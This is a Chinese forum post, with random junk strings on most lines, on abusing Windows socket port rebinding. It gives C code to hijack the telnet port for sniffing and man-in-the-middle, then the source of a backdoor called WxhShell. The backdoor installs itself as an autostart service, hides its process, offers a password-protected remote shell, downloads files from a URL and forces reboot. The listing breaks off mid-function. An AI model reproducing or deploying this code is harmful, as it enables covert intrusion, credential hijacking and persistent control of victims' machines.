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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~Y/o9x0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3  G_0DS  
6w)a.^yx7  
  saddr.sin_family = AF_INET; xSy`VuSl  
\x;`8H  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Bw25+l Px  
25{-GaB  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); On-zbE  
X_aC$_b  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 T1#r>3c\  
:kQydCuK  
  这意味着什么?意味着可以进行如下的攻击: Zi= /w  
y$[:Kh,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _kXq0~  
~kFL[Asnaf  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !\5w<*p8  
! 8*l U2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]I'dnd3e  
FS^~e-A  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Ra/Pk G-7  
T:I34E[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7]H<ou  
.W s\%S  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 w;;9YFBdM  
6W[~@~D=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %8{nuq+c  
wl7 (|\-  
  #include RG_.0'5=hc  
  #include I>JBGR`j  
  #include MUn(ZnQy|  
  #include    .bY R  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `IV7\}I|  
  int main() j9xu21'!%  
  { )k.}>0K |  
  WORD wVersionRequested; zd|n!3;  
  DWORD ret; 5y8VA4L/o  
  WSADATA wsaData; %%FzBbWAO  
  BOOL val;  D9h  
  SOCKADDR_IN saddr; HT ."J  
  SOCKADDR_IN scaddr; Q@KCODi  
  int err; 55Ya(E  
  SOCKET s; 7zq@T]  
  SOCKET sc; "fu:hHq  
  int caddsize; fPPC`d&Q3  
  HANDLE mt; 4i7+'F  
  DWORD tid;   49.B!DqQW&  
  wVersionRequested = MAKEWORD( 2, 2 ); 5Mz:$5Tm  
  err = WSAStartup( wVersionRequested, &wsaData ); 1]69S(  
  if ( err != 0 ) { ny1;]_X_  
  printf("error!WSAStartup failed!\n"); pZz\o  
  return -1; _;M3=MTM9  
  } ,pIh.sk7s*  
  saddr.sin_family = AF_INET; vb6kr?-i*  
   i&YWutG  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  stQ_Ke  
o$Ju\(Y$<+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); m~0Kos%^*b  
  saddr.sin_port = htons(23); Z C<+BKS  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G>Hg0u0!,  
  { $b(CN+#  
  printf("error!socket failed!\n"); Z@(KZ|  
  return -1; TJCE6QG  
  } LUdXAi"f  
  val = TRUE; 6n^@Ps  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 RdBIbm  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u4j"U6"]M  
  { _iL?kf  
  printf("error!setsockopt failed!\n"); -Xx4:S  
  return -1; ?4^ 0xGyE  
  } V503  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &`oybm-p(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 TV=K3F5)M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 McpQ7\*h  
dci<Rz`h  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5th?m>  
  { ,x$^^  
  ret=GetLastError(); 7=%Oev&0g-  
  printf("error!bind failed!\n"); .$@+ / @4  
  return -1; dIfy!B"  
  } )k;;O7C k  
  listen(s,2); m*jTvn  
  while(1) HuJc*op-6  
  { c?N,Cd~q  
  caddsize = sizeof(scaddr); XO+rg&Pu  
  //接受连接请求 /,`OF/%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "([/G?QAG  
  if(sc!=INVALID_SOCKET) h+ud[atk.  
  { Z?xRSi2~7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); IVY)pS"pR"  
  if(mt==NULL) xHMFYt+0$G  
  { | kP utB  
  printf("Thread Creat Failed!\n"); SL-;h#-y 4  
  break; PD&gC88  
  } )2_[Ww|.  
  } -n8d#Qm)  
  CloseHandle(mt); 3{f g3?  
  } W.NZ%~|+e/  
  closesocket(s); z0OxJe  
  WSACleanup(); c_8<N7 C  
  return 0; A; wT`c  
  }   =r*Ykd;W|E  
  DWORD WINAPI ClientThread(LPVOID lpParam) Vd(n2JMtG  
  { \ 'Va(}v  
  SOCKET ss = (SOCKET)lpParam; #*:^\z_Jd  
  SOCKET sc; $xWUzg1<U  
  unsigned char buf[4096]; ()48>||  
  SOCKADDR_IN saddr; JQ 6M,O  
  long num; hGkJ$QT  
  DWORD val; kRc+OsY9  
  DWORD ret; 5VJe6i9;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =J4|"z:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ulx]4;uzf  
  saddr.sin_family = AF_INET; fbU3-L?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); lLDZ#'&An  
  saddr.sin_port = htons(23); [}]yJ+)  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rlD!%gG2x  
  { n}j6gN!O  
  printf("error!socket failed!\n"); 9! /kyyU  
  return -1; a{.q/Tbt  
  } I}m20|vv  
  val = 100; xEk8oc  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "i\#L`TkzX  
  { A&bj l[s  
  ret = GetLastError(); 3 ye  
  return -1; x-e6[_F  
  } z}B 39L  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Mx$&{.LFJ  
  { ?*%_:fB  
  ret = GetLastError(); |/vJ+aKq  
  return -1; (6 Od   
  } f um.G{}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,T`,OZm  
  { y?3.W  
  printf("error!socket connect failed!\n"); ]jFl?LA%7  
  closesocket(sc); S YDE`-  
  closesocket(ss); r:;.?f@  
  return -1; H=Ilum06  
  } KVJ, a  
  while(1) OU"%,&J  
  { fj)) Hnt(|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8M@'A5]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [d8Q AO1;)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 tw>2<zmSi%  
  num = recv(ss,buf,4096,0); zD79M  
  if(num>0) p*&0d@'r  
  send(sc,buf,num,0); qS2Nk.e]o  
  else if(num==0) Z sTtSM\Ac  
  break; dw3Hk$"h  
  num = recv(sc,buf,4096,0); 2h'Wu qO  
  if(num>0) BUJ\[/  
  send(ss,buf,num,0); /rnI"ze`  
  else if(num==0) qfyZda0d  
  break; c&!mKMrk  
  } acR|X@ \3  
  closesocket(ss); Cq"KKuf  
  closesocket(sc); hU8Y&R)=9  
  return 0 ; `om+p?j  
  } {PcJuRTHB  
U~N7\Pa4  
. \"k49M`  
========================================================== 0{|HRiQH9+  
k=hWYe$iAz  
下边附上一个代码,,WXhSHELL 8~]D!c8;a  
iU;e!\A  
========================================================== ||_hET  
m|;(0 rft  
#include "stdafx.h" -juG[zn  
uv27Vos  
#include <stdio.h> YR9fw  
#include <string.h> lGl'A}]#$  
#include <windows.h> &~ y)b`r  
#include <winsock2.h> ~0a5  
#include <winsvc.h> 9)ALJd,M  
#include <urlmon.h> ds(?:zx#  
^taN?5  
#pragma comment (lib, "Ws2_32.lib") _XV%}Xb'  
#pragma comment (lib, "urlmon.lib") GWnIy6TH l  
jdP )y]c  
#define MAX_USER   100 // 最大客户端连接数 jC9us>b  
#define BUF_SOCK   200 // sock buffer yZ|"qP1  
#define KEY_BUFF   255 // 输入 buffer .h7s.p?  
o)AwM"  
#define REBOOT     0   // 重启 s|]g@cz an  
#define SHUTDOWN   1   // 关机 8Ojqm#/f  
K>@yk9)vi  
#define DEF_PORT   5000 // 监听端口 /|1p7{km  
/Vn>(;lo  
#define REG_LEN     16   // 注册表键长度 VThr]$2Y  
#define SVC_LEN     80   // NT服务名长度 Nr4:Gih  
w +t@G`d  
// 从dll定义API hfaU-IPcFX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ["Ltqgx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `hi=y BO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <+i(CGw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $zM shLT  
gBm'9|?  
// wxhshell配置信息 B7C3r9wj  
struct WSCFG { amu;grH  
  int ws_port;         // 监听端口 =_7wd*,  
  char ws_passstr[REG_LEN]; // 口令 $*fJKR_N  
  int ws_autoins;       // 安装标记, 1=yes 0=no <W80AJ  
  char ws_regname[REG_LEN]; // 注册表键名 pk/#RUfT+  
  char ws_svcname[REG_LEN]; // 服务名 cqS :Zq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qTd[Da G#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <(L@@.87R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W)In.?>]W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /\I6j;$z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;]>kp^C#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E-bswUVaEE  
z)qYW6o%  
}; tS'lJu  
9\?OV @  
// default Wxhshell configuration B`~EA] d  
struct WSCFG wscfg={DEF_PORT, $YL9 vJV  
    "xuhuanlingzhe", g* q#VmE  
    1, E.oJ[;  
    "Wxhshell", GXtMX ha,  
    "Wxhshell", jFj11w1FrA  
            "WxhShell Service", K4c:k; V  
    "Wrsky Windows CmdShell Service", Jz}nV1G(jz  
    "Please Input Your Password: ", 94u{k1d x  
  1, .+9hm|  
  "http://www.wrsky.com/wxhshell.exe", *@2Bh4  
  "Wxhshell.exe" B0fOAP1  
    }; MtLWpi u@[  
XO <wK  
// 消息定义模块 ze+YQ F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RP4/:sO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yB b%#GW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /`*{57/3  
char *msg_ws_ext="\n\rExit."; =}^NyLE?  
char *msg_ws_end="\n\rQuit."; eU yF<j  
char *msg_ws_boot="\n\rReboot..."; Jl Do_}  
char *msg_ws_poff="\n\rShutdown..."; Kc MzY  
char *msg_ws_down="\n\rSave to "; 9u B?-.  
(#Y~z',I  
char *msg_ws_err="\n\rErr!"; Da=EAG-{7  
char *msg_ws_ok="\n\rOK!"; A6N6e\*  
XE}gl&\  
char ExeFile[MAX_PATH]; 25Dl4<-Z  
int nUser = 0; ~M C|  
HANDLE handles[MAX_USER]; m&.LJ*uM\K  
int OsIsNt; CRb8WD6.  
<n2@;` D  
SERVICE_STATUS       serviceStatus; 8+zW:0"[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3db{Tcn\@]  
w?Te%/s.  
// 函数声明 Q]:O#;"<  
int Install(void); g{8RPw]  
int Uninstall(void); /WrB>w  
int DownloadFile(char *sURL, SOCKET wsh); {%V(Dd[B6  
int Boot(int flag); { i5?R,a)  
void HideProc(void); D BT4 W/  
int GetOsVer(void); {ZJO5*  
int Wxhshell(SOCKET wsl); m|a9T#B(  
void TalkWithClient(void *cs); =kjKK  
int CmdShell(SOCKET sock); >rSjP1-F  
int StartFromService(void); (o^tmH*  
int StartWxhshell(LPSTR lpCmdLine); 067c/ c  
_Cmmx`ln  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +HK4sA2;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a~$XD(w^  
Q#bW"},^k  
// 数据结构和表定义 9mF '   
SERVICE_TABLE_ENTRY DispatchTable[] = $*Ucfw1T  
{ /F*Y~>*% 1  
{wscfg.ws_svcname, NTServiceMain}, S$6|K Y u  
{NULL, NULL} ewZ?+G+m  
}; mxa~JAlN_  
]-=L7a  
// 自我安装 3<0b_b  
int Install(void) )DSeXS[ e  
{ +>ju,;4WK  
  char svExeFile[MAX_PATH]; fqNh\~kja  
  HKEY key; ( xs'D4  
  strcpy(svExeFile,ExeFile); pGbfdX  
!ifU}qFzK  
// 如果是win9x系统,修改注册表设为自启动 DeO-@4+qKd  
if(!OsIsNt) { ;Rrh$Ag  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P}bIp+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j6 wFks  
  RegCloseKey(key); =~D? K9o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iSW2I~PD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <I+kB^Er  
  RegCloseKey(key); dbp\tWaW  
  return 0; :6n#y-9^1  
    } o+A7hBM^  
  } k[6J;/  
} /]0qI  
else { nzq   
m4:c$5  
// 如果是NT以上系统,安装为系统服务  ~?ab_CY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^7gGtz2  
if (schSCManager!=0) t^s&1#iC  
{ &i#$ia r  
  SC_HANDLE schService = CreateService LC%o coc  
  ( -IPo/?}  
  schSCManager, *t@A-Sn  
  wscfg.ws_svcname, T(J'p4  
  wscfg.ws_svcdisp, #mxOwvJ  
  SERVICE_ALL_ACCESS, !Sc"V.o @!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L^J4wYFTO  
  SERVICE_AUTO_START, ]e>qvSuYh  
  SERVICE_ERROR_NORMAL, 6g(;2gY  
  svExeFile, r`H}f#.KR  
  NULL, #M,&g{  
  NULL, gf|uZ9{  
  NULL, u'YXI="(  
  NULL, [FFr}\}bY  
  NULL x/|W;8g4  
  ); M4^G3c<  
  if (schService!=0) q<3nAE$?=  
  { CM6% g f3  
  CloseServiceHandle(schService); !fh (k  
  CloseServiceHandle(schSCManager);  Q !X?P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uP~,]ci7  
  strcat(svExeFile,wscfg.ws_svcname); ^T=9j.e'ja  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B8&q$QV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Gh;\"Qx  
  RegCloseKey(key); l;?:}\sI=  
  return 0; {u'szO}k  
    } o`T.Zaik,  
  } $)lkiA&;  
  CloseServiceHandle(schSCManager); KVi6vdgD  
} ?N#I2jxaD  
} *?)MJ@  
+! 1_Mt6  
return 1; K'A+V  
} lriezI  
Cxf K(F  
// 自我卸载 ~7m`p3W@  
int Uninstall(void) -y`Pm8  
{ ;6tra_  
  HKEY key; c&['T+X  
c_/BS n  
if(!OsIsNt) { \CB^9-V3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !np_B0`  
  RegDeleteValue(key,wscfg.ws_regname); l6M?[  
  RegCloseKey(key); ,=/9Ld2w9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uGU 2  
  RegDeleteValue(key,wscfg.ws_regname); 0.MB;gm:  
  RegCloseKey(key); ^<;W+dWdU  
  return 0; AHf 9H?  
  } .N(R~_  
} 7e_4sxg'(3  
} '+Dsmoy  
else { xIdb9hm<  
lhUGo =  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E=NjWO  
if (schSCManager!=0) pF;.nt)  
{ b 74 !Zw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LjKxznn o  
  if (schService!=0) U[ ]yN.J  
  { 0s n$QmW:  
  if(DeleteService(schService)!=0) { L]Tj]u)  
  CloseServiceHandle(schService); (,At5 T  
  CloseServiceHandle(schSCManager); w,%"+ tY_  
  return 0; >a;a8EA<O  
  }  f<o|5r  
  CloseServiceHandle(schService); 1k[_DQ=^l1  
  } Z+xkN  
  CloseServiceHandle(schSCManager); z)Rkd0/X  
} >,6  
} 1[P}D~ nQ  
pa-*&p  
return 1; D#GuF~-F!R  
} R iZ)FW  
GT6; I7  
// 从指定url下载文件 j{C~wy!J  
int DownloadFile(char *sURL, SOCKET wsh) >+O0W)g{o  
{ 6IqPZ{g9K'  
  HRESULT hr; 8mX!mYO3c  
char seps[]= "/"; +3,7 Apj  
char *token; 01(U)F\  
char *file; [* xdILj  
char myURL[MAX_PATH]; Ar-Vu{`  
char myFILE[MAX_PATH]; FPc `J  
<IrhR,@M,L  
strcpy(myURL,sURL); Q%CrB>|@  
  token=strtok(myURL,seps); Q Xd`P4a  
  while(token!=NULL) }T_"Vg q  
  { W ?x~"-*  
    file=token; fh#:j[R4e  
  token=strtok(NULL,seps); yQJ0",w3o.  
  } Tv%7=P;r  
8)>>EN8 R  
GetCurrentDirectory(MAX_PATH,myFILE); GcM1*)$ 4  
strcat(myFILE, "\\"); :tWk K$  
strcat(myFILE, file); &dB@n15'A  
  send(wsh,myFILE,strlen(myFILE),0); xM())Z|2  
send(wsh,"...",3,0); "rdpA[>L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FM]clC;X?  
  if(hr==S_OK) +|C@B`h  
return 0; :6n4i$  
else VgPlIIHh5  
return 1; WUS%4LL(  
_'p/8K5)=  
} =CzGI|pb  
T m"B  
// 系统电源模块 |AvPg  
int Boot(int flag) .7.G}z1  
{ 0hY3vBQ!  
  HANDLE hToken; yp~z-aRa  
  TOKEN_PRIVILEGES tkp; ~n -N  
'`8 ^P  
  if(OsIsNt) { o0Teect=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ru:"c^W:[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G[}v?RLI  
    tkp.PrivilegeCount = 1; mJ%^`mrI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8P ]nO+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^*jwe^  
if(flag==REBOOT) {  $H*8H`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u ?V}pYX  
  return 0; @@ j\OR  
} 1_7p`Gxt[/  
else { 2K4Xu9-i:b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <v1H1'gv  
  return 0; Boj R"  
} [C!*7h  
  } "Lvk?k )hx  
  else { E}Cz(5  
if(flag==REBOOT) { [kJ;Uxncz~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zE;|MU@|  
  return 0; nLL2/!'n  
} .QY>@b\  
else { TY/'E#.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Pk&=\i<  
  return 0; -.Wwo(4  
} drpx"d[c  
} =LGM[Z3$s  
"9s}1C;Me  
return 1; x~k3kj  
} ESviWCh0Fl  
2fdN@iruB  
// win9x进程隐藏模块 9q]f]S.L  
void HideProc(void) `*[Kmb\  
{ PY|zN|  
ZQ"dAR/y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I484c R2.  
  if ( hKernel != NULL ) 5VE=Oo#&  
  { .BjWZj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FM%WMyb[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UhR^Y{W5  
    FreeLibrary(hKernel); "IS; o o$g  
  } ,3rsjoKhd  
&$ }6:  
return; v1u~[c=|^  
} H-t$A, [  
vJr,lBHEk  
// 获取操作系统版本 -Tvnd,  
int GetOsVer(void) |Ja5O  
{ qo:Zc`t(R  
  OSVERSIONINFO winfo; {^ BZ#)m|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zEjl@Kf  
  GetVersionEx(&winfo); */~|IbZ`o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [#wt3<d`)  
  return 1; 3N]ushMO  
  else b+Sj\3fX  
  return 0; ql%K+4@  
} i=5!taxu}E  
krGIE}5  
// 客户端句柄模块 `?T::&`  
int Wxhshell(SOCKET wsl) YS4"TOFw  
{ Gy+c/gK  
  SOCKET wsh; +%<kcc3  
  struct sockaddr_in client; ZK ?V{X{";  
  DWORD myID; |5(CzXR]  
Lww&[|k.  
  while(nUser<MAX_USER) ,aWI&ve6  
{ %-YWn`yEm  
  int nSize=sizeof(client); DI/d(oFv`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J<NpA(@^  
  if(wsh==INVALID_SOCKET) return 1; ZT"vVX- )G  
o^5UHFxTCB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g[y&GCKY!=  
if(handles[nUser]==0) Ce//; Op  
  closesocket(wsh); Nnn~7  
else ,nog6\  
  nUser++; 5k=04=Iyh#  
  } Rhlm  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d~.hp  
#_Uo^Mw  
  return 0; /g0' +DP  
} <bn|ni|c"  
7aRy])x  
// 关闭 socket ;Ym6ey0t  
void CloseIt(SOCKET wsh)  Z a,o  
{ H [M:iV  
closesocket(wsh); E690'\)31  
nUser--; 3p-SpUvp  
ExitThread(0); .: wg@Z  
} RYl{89  
cEXd#TlY~X  
// 客户端请求句柄 <`q-#-V@  
void TalkWithClient(void *cs) w3iX "w  
{ n\7 >_  
zWN]#W`  
  SOCKET wsh=(SOCKET)cs; 0LGHSDb  
  char pwd[SVC_LEN]; X+;#^A3  
  char cmd[KEY_BUFF]; ld%#.~Q  
char chr[1]; aR)UHxvX  
int i,j; M~X~2`fFH  
l"&iSq!3=  
  while (nUser < MAX_USER) { W`[7|8(6!  
$Q|6W &?[;  
if(wscfg.ws_passstr) { ;p,Kq5,l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F)l1%F Cm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PTpfa*t  
  //ZeroMemory(pwd,KEY_BUFF); "T8b.ng  
      i=0; daB 5E<?  
  while(i<SVC_LEN) { yqJ>Z%)hf  
_4{3^QZq5  
  // 设置超时 i*xVD`x~  
  fd_set FdRead; C9Cl$yZ  
  struct timeval TimeOut; x wfdJ(&  
  FD_ZERO(&FdRead); >0:=<RW  
  FD_SET(wsh,&FdRead); |+-b#Sa9  
  TimeOut.tv_sec=8; Nog{w  
  TimeOut.tv_usec=0; @Us#c 7/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mmC MsBfL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X#W6;?Z\  
B|>eKI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I]#x0?D  
  pwd=chr[0]; IQ JFL +f  
  if(chr[0]==0xd || chr[0]==0xa) { BL0xSNE**  
  pwd=0; kT^`j^Jr  
  break; qP/McH?  
  } Kk% I N9  
  i++; ?U:c\TA,m  
    } @q|c|X:I  
gsIp y  
  // 如果是非法用户,关闭 socket Rs'mk6+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vN6)Szim  
} (^ J2(  
;%AY#b4m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T[ zEAj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \  6Y%z  
6m9\0)R  
while(1) { DI :  
kCZ'p  
  ZeroMemory(cmd,KEY_BUFF); Fe2iG-ec  
lo7>$`Q  
      // 自动支持客户端 telnet标准   ?+]   
  j=0;  L$]Y$yv  
  while(j<KEY_BUFF) { 9:!V":8q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >(gbUW  
  cmd[j]=chr[0]; B .?@VF  
  if(chr[0]==0xa || chr[0]==0xd) { 4E$6&,\  
  cmd[j]=0; PTF|"^k+   
  break; R|\kk?,u  
  } 9KL)5_6 M  
  j++; ` b)i;m  
    } BE!WCDg,  
=1VpO{ q  
  // 下载文件 TaG (sRI  
  if(strstr(cmd,"http://")) { Mn*v&O:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :Q;mgHTNz  
  if(DownloadFile(cmd,wsh)) hC!8-uBK5<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wWJM./y  
  else -+Ox/>k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qwuA[QkPi  
  } KpKZiUQm  
  else { 1?y QjW,  
AHplvksb  
    switch(cmd[0]) { e1H2w? s  
  w!l*!G  
  // 帮助 %G, d&%f  
  case '?': { 0[-@<w ^j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `9DW}  
    break; cw;TIx_q  
  } \`?4PQ  
  // 安装 )5<c8lzp  
  case 'i': { IP#qT `=}  
    if(Install()) <[z9*Tm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6 Znt   
    else {u$<-W-&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l Ztw[c  
    break; #@cEJV;5"  
    } zE=^}K+  
  // 卸载 h(FFG%H(  
  case 'r': { Z"9D1Uk  
    if(Uninstall()) j-/F *P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YZc{\~d  
    else 1{CVd m<9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nhB.>ReAi  
    break; TdrRg''@  
    } N}\3UHtO  
  // 显示 wxhshell 所在路径 $*+`;PG-  
  case 'p': { ?fvK<0S`  
    char svExeFile[MAX_PATH]; 810uxw{\  
    strcpy(svExeFile,"\n\r"); o[k,{`M0  
      strcat(svExeFile,ExeFile); HA;G{[X  
        send(wsh,svExeFile,strlen(svExeFile),0); j>O!|V  
    break; o=Kd9I#  
    } u:}yE^8@  
  // 重启 03 I*@jj  
  case 'b': { pq*4yaTT'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9{R88f?;  
    if(Boot(REBOOT)) (+.R8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A~ wVY  
    else { pLpWc~#  
    closesocket(wsh); a_Z[@W  
    ExitThread(0); ~J1UzUxX2  
    } QjFE  
    break; 9y*pn|A[F  
    } cG4$)q;q  
  // 关机 wGx*Xy1n<  
  case 'd': { 6V @ [< d  
